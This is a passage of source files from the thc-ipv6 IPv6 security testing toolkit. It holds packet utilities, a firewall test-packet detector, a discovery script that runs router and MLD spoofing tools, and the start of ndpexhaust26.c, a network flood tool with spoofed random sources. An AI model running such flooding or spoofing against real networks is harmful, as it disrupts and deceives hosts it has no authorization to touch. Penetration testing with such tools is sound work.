MODPROBE=`which modprobe` 32 | 33 | # Check if the user can run iptables 34 | $IPTABLES -L >/dev/null 2>&1 35 | if [ "$?" != "0" ]; 36 | then 37 | echo "You need to be root to run this script" 38 | exit 39 | fi 40 | 41 | # Load ipt_NFQUEUE and ipt_state modules 42 | $MODPROBE ipt_NFQUEUE 43 | $MODPROBE ipt_state 44 | 45 | # Ignore SIGINT, SIGHUP 46 | trap "echo User interrupt!" INT HUP 47 | 48 | # Prepare for startup 49 | # Create new tables 50 | $IPTABLES -N THC_NFQUEUE >/dev/null 2>&1 51 | # Send all hooked table traffic to new table 52 | $IPTABLES -I POSTROUTING -j THC_NFQUEUE $* || { 53 | echo Error: your supplied ip6tables definitions are invalid, resetting 54 | $IPTABLES -X THC_NFQUEUE >/dev/null 2>&1 55 | exit 1 56 | } 57 | # Set incoming exceeded drop rule to prevent connection resets 58 | $IPTABLES -I INPUT -p icmpv6 --icmpv6-type 3 -i $INT -j DROP 59 | # Send all traffic from the new table to NFQUEUE table 60 | $IPTABLES -I THC_NFQUEUE -p all -j NFQUEUE 61 | # Fix loopback traffic 62 | $IPTABLES -I INPUT -p all -i lo -j ACCEPT 63 | $IPTABLES -I OUTPUT -p all -o lo -j ACCEPT 64 | 65 | # Start fragrouter6 66 | fragrouter6 -v $VAR $INT $MODE 67 | 68 | # Drop fix for loopback traffic 69 | $IPTABLES -D INPUT -p all -i lo -j ACCEPT 70 | $IPTABLES -D OUTPUT -p all -o lo -j ACCEPT 71 | # Delete incoming exceeded drop rule 72 | $IPTABLES -D INPUT -p icmpv6 --icmpv6-type 3 -i $INT -j DROP 73 | # Restore hooked table 74 | $IPTABLES -D POSTROUTING -j THC_NFQUEUE $* 75 | # Drop rules from nfq-test-1 tables 76 | $IPTABLES -F THC_NFQUEUE 77 | # Delete the table 78 | $IPTABLES -X THC_NFQUEUE >/dev/null 2>&1 79 | if [ "$?" != "0" ]; then 80 | echo "Unable to drop THC_NFQUEUE!" 81 | echo "You need to do this manually!" 82 | fi 83 | 84 | echo 85 | echo done. 86 | -------------------------------------------------------------------------------- /grep6.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # basic code by Eric Vyncke 3 | use Socket qw(AF_INET6 inet_pton); 4 | 5 | $fd = STDIN; 6 | $option = shift; 7 | $count = 0; 8 | $ln = 0; 9 | 10 | if ($option eq "" || $option eq "-h") { 11 | print "Syntax: grep6.pl [-n] ipv6-address [logfile]\n"; 12 | print "Option: -n print with line count\n"; 13 | exit(0); 14 | } 15 | 16 | if ($option eq "-n") { 17 | $count = 1; 18 | $option = shift; 19 | } 20 | 21 | my (@words, $word, $binary_address, $address) ; 22 | $address = inet_pton AF_INET6, $option ; 23 | if (! $address) { die "Wrong IPv6 address passed as argument" ; } 24 | 25 | $option2 = shift; 26 | if ($option2 ne "") { 27 | open $fd, "< $option2" or die "$option2"; 28 | } 29 | 30 | ## go through the file one line at a time 31 | while (my $line = <$fd>) { 32 | $ln++; 33 | @words = split /[ ,"'.\\\t\n\r\(\)\[\]]/, $line ; 34 | foreach $word (@words) { 35 | $binary_address = inet_pton AF_INET6, $word ; 36 | if ($binary_address eq $address) { 37 | print "$ln: " if ($count == 1); 38 | print $line ; 39 | next ; 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /implementation6d.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Test: 3 | * 1. next header = hopbyhop, but no header 4 | * 2. next header = hopbyhop, but invalid length in hopbyhop header 5 | * 3. next header = hophyhop + no_next, but ip6 length longer than claimed 6 | * 4. next header = hophyhop + no_next, but ip6 length shorter than 7 | * claimed 8 | * 5. 90 extension ignored headers 9 | * 6. 65535 byte packet (fragmented) with 3850 extension ignored headers 10 | * 7. jumbo packet (fragmented) with 7700 extension ignored headers 11 | * 8-10: same as 5-9 but final length larger than real packet 12 | * 11. 180 hop-by-bop headers 13 | * 12. forwarding header with 255 segements lefts (but only 1 defined) 14 | * 15 | * 16 | * misc: 17 | * - toobig6 with mtu = 600 on target 18 | * - alive6 with target ff02::1 and router = target 19 | * - alive6 with target = target and router = target (1shot frag + 20 | * forward) 21 | * - rsmurf on target 22 | */ 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include "thc-ipv6.h" 35 | 36 | int rawmode = 0; 37 | int cont = 0; 38 | 39 | void help(char *prg) { 40 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 41 | printf("Syntax: %s interface\n\n", prg); 42 | printf( 43 | "Identifies test packets by the implementation6 tool, useful to check " 44 | "what\n"); 45 | printf("packets passed a firewall\n"); 46 | // printf("Use -r to use raw mode.\n\n"); 47 | exit(-1); 48 | } 49 | 50 | void check_packet(u_char *foo, const struct pcap_pkthdr *header, 51 | const unsigned char *data) { 52 | unsigned char *ipv6hdr; 53 | unsigned char buf[20]; 54 | int add = 0, len = header->caplen; 55 | 56 | if (debug) { 57 | printf("DEBUG: packet received\n"); 58 | thc_dump_data((unsigned char *)data, header->caplen, "Received Packet"); 59 | } 60 | 61 | if (rawmode == 0) { 62 | if (do_hdr_size) { 63 | ipv6hdr = (unsigned char *)(data + do_hdr_size); 64 | len -= do_hdr_size; 65 | if ((ipv6hdr[0] & 240) != 0x60) return; 66 | } else { 67 | ipv6hdr = (unsigned char *)(data + 14); 68 | len -= 14; 69 | } 70 | } else 71 | ipv6hdr = (unsigned char *)data; 72 | 73 | if (ipv6hdr[0] >> 4 != 6) return; // not an ipv6 packet 74 | 75 | if (ipv6hdr[6] == NXT_ICMP6 && 76 | (ipv6hdr[40] == ICMP6_NEIGHBORSOL || ipv6hdr[40] == ICMP6_NEIGHBORADV || 77 | ipv6hdr[40] == ICMP6_PARAMPROB || ipv6hdr[40] == ICMP6_TTLEXEED)) 78 | return; 79 | 80 | if (len >= 136) { 81 | if (ipv6hdr[6] == 0 && ipv6hdr[40] == 0 && ipv6hdr[48] == 0) { 82 | printf(" Detected (potential) implementation6 test case #%d %s\n", 3, 83 | cont == 3 ? "(cont'd)" : ""); 84 | cont = 3; 85 | return; 86 | } 87 | buf[0] = ipv6hdr[124]; 88 | memset(buf + 1, buf[0], sizeof(buf) - 1); 89 | if (memcmp(ipv6hdr + 128, buf, sizeof(buf)) == 0) { 90 | printf(" Detected (potential) implementation6 test case #%d %s\n", 91 | buf[0], cont == buf[0] ? "(cont'd)" : ""); 92 | cont = buf[0]; 93 | return; 94 | } 95 | } 96 | 97 | if (len >= 46) { 98 | switch (ipv6hdr[6]) { 99 | case NXT_ICMP6: 100 | if (1 == 1) { 101 | switch (ipv6hdr[40]) { 102 | case ICMP6_PINGREQUEST: 103 | if (ipv6hdr[44] == 0x34 && ipv6hdr[45] == 0x56 && 104 | ipv6hdr[46] == 0x78 && ipv6hdr[47] == 0x90 && 105 | ipv6hdr[52] == 'A') { 106 | printf( 107 | " Detected (potential) implementation6 standard thc-ipv6 " 108 | "ping request%s\n", 109 | cont == -1 ? " (cont'd)" : ""); 110 | cont = -1; 111 | } 112 | return; 113 | break; 114 | case ICMP6_INFOREQUEST: 115 | if (ipv6hdr[48] == 20 + add) { 116 | printf( 117 | " Detected (potential) implementation6 test case #%d\n", 118 | 20 + add); 119 | cont = 0; 120 | } 121 | return; 122 | break; 123 | case ICMP6_INVNEIGHBORSOL: 124 | printf(" Detected (potential) implementation6 test case #%d\n", 125 | 21 + add); 126 | cont = 0; 127 | return; 128 | break; 129 | case ICMP6_CERTPATHSOL: 130 | if (ipv6hdr[45] == 23 + add) { 131 | printf( 132 | " Detected (potential) implementation6 test case #%d\n", 133 | 23 + add); 134 | cont = 0; 135 | } 136 | return; 137 | break; 138 | default: 139 | break; 140 | } 141 | } 142 | return; 143 | break; 144 | case NXT_OPTS: 145 | if (ipv6hdr[64] == ICMP6_MOBILE_PREFIXSOL) { 146 | if (ipv6hdr[69] == 22 + add) { 147 | printf(" Detected (potential) implementation6 test case #%d\n", 148 | 22 + add); 149 | cont = 0; 150 | } 151 | return; 152 | } 153 | break; 154 | default: 155 | break; 156 | } 157 | } 158 | 159 | return; 160 | } 161 | 162 | int main(int argc, char *argv[]) { 163 | unsigned char string[64] = "ip6"; 164 | char * interface; 165 | 166 | if (argv[1] != NULL && strcmp(argv[1], "-r") == 0) { 167 | thc_ipv6_rawmode(1); 168 | rawmode = 1; 169 | argv++; 170 | argc--; 171 | } 172 | 173 | if (argc != 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 174 | interface = argv[1]; 175 | 176 | setvbuf(stdout, NULL, _IONBF, 0); 177 | 178 | printf( 179 | "Waiting for implementation check packets on %s, press Control-C to " 180 | "end.\n", 181 | interface); 182 | if (thc_pcap_function(interface, string, (char *)check_packet, 0, NULL) < 0) { 183 | fprintf(stderr, "Error: could not capture on interface %s with string %s\n", 184 | interface, string); 185 | exit(-1); 186 | } 187 | // never returns 188 | 189 | return 0; 190 | } 191 | -------------------------------------------------------------------------------- /inject_alive6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include "thc-ipv6.h" 13 | 14 | extern int thc_socket; 15 | extern char *do_hdr; 16 | extern int do_hdr_off; 17 | 18 | int type = 0, passive = 0, active = 0; 19 | char *interface; 20 | 21 | void help(char *prg) { 22 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 23 | printf("Syntax: %s [-ap] interface\n\n", prg); 24 | printf( 25 | "This tool answers to keep-alive requests on PPPoE and 6in4 tunnels; for " 26 | "PPPoE\nit also sends keep-alive requests.\n"); 27 | printf( 28 | "Note that the appropriate environment variable THC_IPV6_{PPPOE|6IN4} " 29 | "must be set\n"); 30 | printf("Option -a will actively send alive requests every 15 seconds.\n"); 31 | printf("Option -p will not send replies to alive requests.\n"); 32 | exit(-1); 33 | } 34 | 35 | void intercept(u_char *foo, const struct pcap_pkthdr *header, 36 | const unsigned char *data) { 37 | unsigned char * ipv6hdr, *pkt, buf[1500]; 38 | int len = header->caplen, pkt_len = 0; 39 | unsigned int * seq, offset = 0; 40 | unsigned short int *orig, *seen; 41 | thc_ipv6_hdr hdr; 42 | 43 | if (debug) { 44 | printf("DEBUG: packet received\n"); 45 | thc_dump_data((unsigned char *)data, len, "Received packet on tunnel"); 46 | } 47 | 48 | if (type == 2) { // 6in4 49 | len -= do_hdr_size; 50 | ipv6hdr = (unsigned char *)(data + do_hdr_size); 51 | if ((ipv6hdr[0] & 240) != 0x60) return; 52 | if (len < 48 || ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[41] != 0) return; 53 | seq = (unsigned int *)(ipv6hdr + 44); 54 | if (ipv6hdr[40] == ICMP6_PINGREQUEST) { 55 | printf("Keep-alive ping request ID 0x%x seen\n", htonl(*seq)); 56 | if (passive == 0) { 57 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, 58 | ipv6hdr + 24, ipv6hdr + 8, 255, 0, 59 | 0, 0, 0)) == NULL) 60 | return; 61 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREPLY, 0, htonl(*seq), 62 | (unsigned char *)ipv6hdr + 40 + 8, len - 40 - 8, 63 | 0) < 0) 64 | return; 65 | if (thc_generate_and_send_pkt(interface, NULL, NULL, pkt, &pkt_len) < 0) 66 | return; 67 | pkt = thc_destroy_packet(pkt); 68 | printf("Keep-alive ping reply ID 0x%x sent\n", htonl(*seq)); 69 | } 70 | } 71 | if (passive && ipv6hdr[40] == ICMP6_PINGREPLY) 72 | printf("Keep-alive ping reply ID 0x%x seen\n", htonl(*seq)); 73 | } else { // PPPoE 74 | seen = (unsigned short int *)(data + 20 + offset + do_hdr_off); 75 | if (len < 40 || len > 1500 || htons(*seen) != 0xc021) return; 76 | seen = (unsigned short int *)(data + 16 + offset + do_hdr_off); 77 | if (memcmp(data + 16 + offset + do_hdr_off, 78 | do_hdr + 16 + offset + do_hdr_off, 2) != 0) { 79 | orig = (unsigned short int *)(do_hdr + 16 + offset + do_hdr_off); 80 | fprintf(stderr, 81 | "Warning: PPPoE SessionID is different to that defined in the " 82 | "environment variable! ((specified) %04x != %04x (seen))\n", 83 | htons(*orig), htons(*seen)); 84 | } 85 | if (data[22 + offset + do_hdr_off] == 9) { 86 | printf("Keep-alive request ID 0x%04x seen\n", htons(*seen)); 87 | if (passive == 0) { 88 | memcpy(buf + 12, data + 12, len - 12); 89 | memcpy(buf + 6, data, 6); 90 | memcpy(buf, data + 6, 6); 91 | buf[22 + offset + do_hdr_off] = 10; 92 | hdr.pkt = buf; 93 | hdr.pkt_len = len; 94 | if (thc_send_pkt(interface, (unsigned char *)&hdr, &len) < 0) { 95 | fprintf(stderr, "Error: could not send packet to interface %s (%d)\n", 96 | interface, thc_socket); 97 | exit(-1); 98 | } 99 | printf("Keep-alive reply ID 0x%04x sent\n", htons(*seen)); 100 | } 101 | } else { 102 | if (passive && data[22 + offset + do_hdr_off] == 10) 103 | printf("Keep-alive reply ID 0x%04x seen\n", htons(*seen)); 104 | } 105 | } 106 | 107 | return; 108 | } 109 | 110 | int main(int argc, char *argv[]) { 111 | char sndbuf[128], data[] = {0x09, 0x0a, 0x00, 0x0c, 0xfa, 0xce, 112 | 0xba, 0xbe, 0x1f, 0x1e, 0x1d, 0x1c}; 113 | time_t passed = 0; 114 | pcap_t * p; 115 | thc_ipv6_hdr hdr; 116 | int sndbuflen = 0, i; 117 | 118 | if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 119 | 120 | while ((i = getopt(argc, argv, "adp")) >= 0) { 121 | switch (i) { 122 | case 'a': 123 | active = 1; 124 | break; 125 | case 'd': 126 | debug = 1; 127 | break; 128 | case 'p': 129 | passive = 1; 130 | break; 131 | default: 132 | fprintf(stderr, "Error: invalid option -%c\n", i); 133 | exit(-1); 134 | } 135 | } 136 | 137 | if (getenv("THC_IPV6_PPPOE") != NULL) 138 | type = 1; 139 | else if (getenv("THC_IPV6_6IN4") != NULL) 140 | type = 2; 141 | 142 | if (type == 0) { 143 | fprintf(stderr, 144 | "Error: neither the THC_IPV6_PPPOE nor THC_IPV6_6IN4 environment " 145 | "variable is set\n"); 146 | exit(-1); 147 | } 148 | 149 | if (type == 2 && active) 150 | fprintf(stderr, 151 | "Error: active ping6 sending in for THC_IPV6_6IN4 is not possible. " 152 | "Please use thcping6 or alive6 to perform the active alive packet " 153 | "sending.\n"); 154 | 155 | interface = argv[optind]; 156 | 157 | if (thc_get_own_mac(interface) == NULL) { 158 | fprintf(stderr, "Error: invalid interface %s\n", interface); 159 | exit(-1); 160 | } 161 | 162 | printf("Started %s keep-alive watcher on %s (Press Control-C to end) ...\n", 163 | type == 1 ? "PPPoE" : "6in4", argv[optind]); 164 | if (active == 1 && type == 1) { 165 | if ((p = thc_pcap_init_promisc( 166 | interface, "it does not matter what we put here")) == NULL) { 167 | fprintf(stderr, "Error: Could not set interface into promiscious mode\n"); 168 | exit(-1); 169 | } 170 | memcpy(sndbuf, do_hdr, do_hdr_size); 171 | sndbuf[18 + do_hdr_off] = 0x00; 172 | sndbuf[19 + do_hdr_off] = sizeof(data) + 2; 173 | sndbuf[20 + do_hdr_off] = 0xc0; 174 | sndbuf[21 + do_hdr_off] = 0x21; 175 | memcpy(sndbuf + do_hdr_size, data, sizeof(data)); 176 | sndbuflen = do_hdr_size + sizeof(data); 177 | hdr.pkt = sndbuf; 178 | hdr.pkt_len = sndbuflen; 179 | 180 | while (1) { 181 | thc_pcap_check(p, (char *)intercept, NULL); 182 | usleep(100); 183 | if (passed <= time(NULL)) { 184 | if (thc_send_pkt(interface, (unsigned char *)&hdr, &sndbuflen) < 0) { 185 | fprintf(stderr, "Error: could not send packet to interface %s\n", 186 | interface); 187 | return -1; 188 | } 189 | passed = time(NULL) + 15; 190 | } 191 | } 192 | } else { 193 | thc_pcap_function(interface, "it does not matter what we put here", 194 | (char *)intercept, 1, NULL); 195 | fprintf(stderr, "Error: Could not set interface into promiscious mode\n"); 196 | exit(-1); 197 | } 198 | 199 | return -1; // never reached unless error 200 | } 201 | -------------------------------------------------------------------------------- /inverse_lookup6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | int rawmode = 0; 14 | unsigned char dmac[6], *mac; 15 | int done = 0; 16 | 17 | void help(char *prg) { 18 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 19 | printf("Syntax: %s interface mac-address\n\n", prg); 20 | printf( 21 | "Performs an inverse address query, to get the IPv6 addresses that are " 22 | "assigned\n"); 23 | printf("to a MAC address. Note that only few systems support this yet.\n"); 24 | exit(-1); 25 | } 26 | 27 | void check_packets(u_char *foo, const struct pcap_pkthdr *header, 28 | const unsigned char *data) { 29 | unsigned char *ptr = (unsigned char *)data, *orig_ptr; 30 | int len = header->caplen, i, j; 31 | 32 | if (rawmode == 0) { 33 | if (do_hdr_size) { 34 | ptr += do_hdr_size; 35 | len -= do_hdr_size; 36 | if ((ptr[0] & 240) != 0x60) return; 37 | } else { 38 | ptr += 14; 39 | len -= 14; 40 | } 41 | } 42 | 43 | orig_ptr = ptr; 44 | if (debug) thc_dump_data(ptr, len, "Received Packet"); 45 | if (ptr[6] == 0x3a && ptr[40] == ICMP6_INVNEIGHBORADV && len >= 56) { 46 | done = 1; 47 | j = (len - 56) / 16; 48 | if (j <= 0) { 49 | printf("Empty Inverse Neighbor Discovery message received by %s for %s\n", 50 | thc_ipv62notation((char *)ptr + 8), mac); 51 | } else { 52 | ptr += 48; 53 | len -= 48; 54 | while (len > 15) { 55 | if (*ptr == 10) { 56 | ptr++; 57 | j = ((*ptr * 8) - 8) / 16; 58 | printf( 59 | "Inverse Advertisement Discovery message received by %s for %s " 60 | "(%d entries):\n", 61 | thc_ipv62notation((char *)orig_ptr + 8), mac, j); 62 | if (j >= 1) 63 | for (i = 0; i < j; i++) 64 | printf(" %s\n", thc_ipv62notation((char *)ptr + 7 + i * 16)); 65 | } else 66 | ptr++; 67 | len -= *ptr * 8 - 1; 68 | ptr += *ptr * 8 - 1; 69 | } 70 | } 71 | } 72 | } 73 | 74 | int main(int argc, char *argv[]) { 75 | unsigned char *pkt1 = NULL, buf[24]; 76 | unsigned char *dst6 = NULL, *smac, dstmac[16] = "", *dmac = dstmac; 77 | int pkt1_len = 0; 78 | char * interface, string[64] = "icmp6"; 79 | pcap_t * p; 80 | 81 | memset(buf, 0, sizeof(buf)); 82 | 83 | if (argc != 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 84 | 85 | if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) 86 | printf("WARNING: %s is not working with injection!\n", argv[0]); 87 | 88 | interface = argv[1]; 89 | 90 | sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *)&dmac[0], 91 | (unsigned int *)&dmac[1], (unsigned int *)&dmac[2], 92 | (unsigned int *)&dmac[3], (unsigned int *)&dmac[4], 93 | (unsigned int *)&dmac[5]); 94 | 95 | mac = argv[2]; 96 | if ((smac = thc_get_own_mac(interface)) == NULL) { 97 | fprintf(stderr, "Error: invalid interface %s\n", interface); 98 | exit(-1); 99 | } 100 | dst6 = thc_resolve6("ff02::1"); 101 | 102 | if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt1_len, NULL, 103 | dst6, 255, 0, 0, 0, 0)) == NULL) 104 | return -1; 105 | memset(buf, 0, sizeof(buf)); 106 | buf[0] = 0x01; 107 | buf[1] = 0x01; 108 | memcpy(buf + 2, smac, 6); 109 | buf[8] = 0x02; 110 | buf[9] = 0x01; 111 | memcpy(buf + 10, dmac, 6); 112 | if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_INVNEIGHBORSOL, 0, 0, 113 | (unsigned char *)&buf, 16, 0) < 0) 114 | return -1; 115 | if (thc_generate_pkt(interface, smac, dmac, pkt1, &pkt1_len) < 0) { 116 | fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); 117 | exit(-1); 118 | } 119 | 120 | if ((p = thc_pcap_init(interface, string)) == NULL) { 121 | fprintf(stderr, "Error: could not capture on interface %s with string %s\n", 122 | interface, string); 123 | exit(-1); 124 | } 125 | printf("Sending inverse packet for %s\n", argv[1]); 126 | thc_send_pkt(interface, pkt1, &pkt1_len); 127 | sleep(1); 128 | while (thc_pcap_check(p, (char *)check_packets, NULL)) 129 | ; 130 | return 0; // never reached 131 | } 132 | -------------------------------------------------------------------------------- /local_discovery6.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | LOOP= 3 | test "$1" = "-i" && { LOOP=yes ; shift ; } 4 | test -z "$1" -o "$1" = "help" && { 5 | echo 'Local IPv6 Discovery Script (c) 2022 by van Hauser www.github.com/vanhauser-thc/thc-ipv6' 6 | echo 7 | echo Syntax: $0 [-i] INTERFACE 8 | echo 9 | echo The tool will use all local host discovery methods and output it to stdout as well as to the file INTERFACE-YYMMDDHHMMSS.log 10 | echo The -i option will loop forever until the script is terminated 11 | exit 1 12 | } 13 | INT=$1 14 | ifconfig $INT | grep -q inet6 || { 15 | echo Error: interface $INT not found or ipv6 not enabled >&2 16 | exit 1 17 | } 18 | FILE=${INT}-`date +%Y%m%d%H%M%S`.log 19 | trap ' kill -TERM `cat .$FILE.pid` ; rm -f .$FILE.pid ; exit 0 ' 1 2 3 13 15 20 | { 21 | passive_discovery6 -s -R 3000:: $INT & 22 | PID=$! 23 | echo $PID > .$FILE.pid 24 | } | tee $FILE & 25 | GO=yes 26 | while [ "$GO" = yes ] ; do 27 | fake_mld6 $INT query 28 | alive6 -l $INT 29 | dump_router6 $INT 30 | fake_router26 -A 3000::/64 -a 2 -l 2 -n 1 -p low $INT 31 | ifconfig $INT | grep -iq global && alive6 $INT 32 | node_query6 $INT ff02::1 33 | fake_mld26 $INT query 34 | test "$LOOP" = yes && sleep 20 35 | test "$LOOP" = yes || GO=no 36 | done > /dev/null 2>&1 37 | sleep 5 38 | trap '' 0 1 2 3 13 15 39 | kill -TERM `cat .$FILE.pid` 40 | rm -f .$FILE.pid 41 | -------------------------------------------------------------------------------- /ndpexhaust26.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | void help(char *prg) { 14 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 15 | printf("Syntax: %s [-acpPTUrRm] [-s sourceip6] interface target-network\n\n", 16 | prg); 17 | printf("Options:\n"); 18 | printf(" -a add a hop-by-hop header with router alert\n"); 19 | printf(" -c do not calculate the checksum to save time\n"); 20 | printf(" -p send ICMPv6 Echo Requests\n"); 21 | printf(" -P send ICMPv6 Echo Reply\n"); 22 | printf(" -T send ICMPv6 Time-to-live-exeeded\n"); 23 | printf(" -U send ICMPv6 Unreachable (no route)\n"); 24 | printf(" -r randomize the source from your /64 prefix\n"); 25 | printf(" -R randomize the source fully\n"); 26 | printf(" -m generate a maximum size packet\n"); 27 | printf(" -s sourceip6 use this as source IPv6 address\n"); 28 | printf("\nFlood the target /64 network with ICMPv6 TooBig error messages.\n"); 29 | printf("This tool version is manyfold more effective than ndpexhaust6.\n"); 30 | exit(-1); 31 | } 32 | 33 | #define IDS_STRING 0xbebacefa 34 | 35 | int main(int argc, char *argv[]) { 36 | char * interface, *ptr, buf2[8]; 37 | unsigned char *dst = NULL, *dstmac = NULL, *src = NULL, *srcmac = NULL; 38 | int i, offset = 14, type = ICMP6_TOOBIG, alert = 0, randsrc = 0, do_crc = 1, 39 | maxsize = 160; 40 | unsigned char *pkt = NULL, ip6[8]; 41 | int pkt_len = 0, count = 0; 42 | thc_ipv6_hdr * hdr; 43 | unsigned int filler = IDS_STRING, mychecksum; 44 | unsigned char offender[1452] = { 45 | 0x60, 0x00, 0x00, 0x00, 0x01, 0xcd, 0x3a, 0x3f, 0xff, 0xff, 0xff, 0xff, 46 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 47 | 0x20, 0x03, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 48 | 0x00, 0x04, 0x00, 0x04, 0x80, 0x00, 0xed, 0xc5, 0xfa, 0xce, 0xba, 0xbe, 49 | 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 50 | 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 51 | 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 52 | 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 53 | 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 54 | 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 55 | 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 56 | 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 57 | 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 58 | 0x41, 0x41, 0x41, 0x41}; 59 | 60 | if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 61 | 62 | srand(time(NULL) + getpid()); 63 | setvbuf(stdout, NULL, _IONBF, 0); 64 | setvbuf(stderr, NULL, _IONBF, 0); 65 | 66 | while ((i = getopt(argc, argv, "acpPTUrRs:m")) >= 0) { 67 | switch (i) { 68 | case 'a': 69 | alert = 8; 70 | break; 71 | case 'c': 72 | do_crc = 0; 73 | break; 74 | case 'm': 75 | maxsize = -1; 76 | break; 77 | case 'p': 78 | type = ICMP6_ECHOREQUEST; 79 | break; 80 | case 'P': 81 | type = ICMP6_ECHOREPLY; 82 | break; 83 | case 'T': 84 | type = ICMP6_TTLEXEED; 85 | break; 86 | case 'U': 87 | type = ICMP6_UNREACH; 88 | break; 89 | case 'r': 90 | randsrc = 8; 91 | break; 92 | case 'R': 93 | randsrc = 1; 94 | break; 95 | case 's': 96 | src = thc_resolve6(optarg); 97 | break; 98 | default: 99 | fprintf(stderr, "Error: unknown option -%c\n", i); 100 | exit(-1); 101 | } 102 | } 103 | 104 | if (argc - optind < 2) help(argv[0]); 105 | 106 | interface = argv[optind]; 107 | 108 | if ((ptr = index(argv[optind + 1], '/')) != NULL) *ptr = 0; 109 | if ((dst = thc_resolve6(argv[optind + 1])) == NULL) { 110 | fprintf(stderr, "Error: Can not resolve %s\n", argv[optind + 1]); 111 | exit(-1); 112 | } 113 | 114 | if ((srcmac = thc_get_own_mac(interface)) == NULL) { 115 | fprintf(stderr, "Error: invalid interface %s\n", interface); 116 | exit(-1); 117 | } 118 | 119 | if (src == NULL) 120 | if ((src = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL)) == NULL || 121 | (src[0] == 0xfe && src[1] == 0x80)) { 122 | fprintf(stderr, 123 | "Error: no global IPv6 address configured on interface %s\n", 124 | interface); 125 | exit(-1); 126 | } 127 | 128 | if ((dstmac = thc_get_mac(interface, src, dst)) == NULL) { 129 | fprintf(stderr, "Error: can not find a route to target %s\n", argv[2]); 130 | exit(-1); 131 | } 132 | 133 | if (maxsize == -1) maxsize = thc_get_mtu(interface) - 48 - alert; 134 | 135 | if (maxsize > sizeof(offender)) maxsize = sizeof(offender); 136 | 137 | for (i = 0; i < ((sizeof(offender) - 48) / 4); i++) 138 | memcpy(offender + 48 + i * 4, (char *)&filler + _TAKE4, 4); 139 | memcpy(offender + 8, dst, 16); 140 | 141 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, 142 | dst, 255, 0, 0, 0, 0)) == NULL) 143 | return -1; 144 | if (alert) { 145 | memset(buf2, 0, sizeof(buf2)); 146 | buf2[0] = 5; 147 | buf2[1] = 2; 148 | if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, 6) < 0) return -1; 149 | } 150 | if (thc_add_icmp6(pkt, &pkt_len, type, 0, 1280, offender, maxsize, 0) < 0) 151 | return -1; 152 | if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; 153 | hdr = (thc_ipv6_hdr *)pkt; 154 | 155 | if (do_hdr_size) offset = do_hdr_size; 156 | 157 | printf( 158 | "Starting to flood target network with toobig %s (Press Control-C to " 159 | "end, a dot is printed for every 1000 packets):\n", 160 | interface); 161 | while (1) { 162 | for (i = 4; i < 8; i++) 163 | ip6[i] = rand() % 256; 164 | 165 | memcpy(hdr->pkt + offset + 32 + 4, ip6 + 4, 4); 166 | memcpy(hdr->pkt + offset + 40 + 8 + 8 + 8 + 4 + alert, ip6 + 4, 4); 167 | 168 | if (randsrc) { 169 | for (i = randsrc; i < 16; i++) 170 | hdr->pkt[offset + 8 + i] = rand() % 256; 171 | } 172 | 173 | if (do_crc) { 174 | hdr->pkt[offset + 42 + alert] = 0; 175 | hdr->pkt[offset + 43 + alert] = 0; 176 | mychecksum = checksum_pseudo_header( 177 | 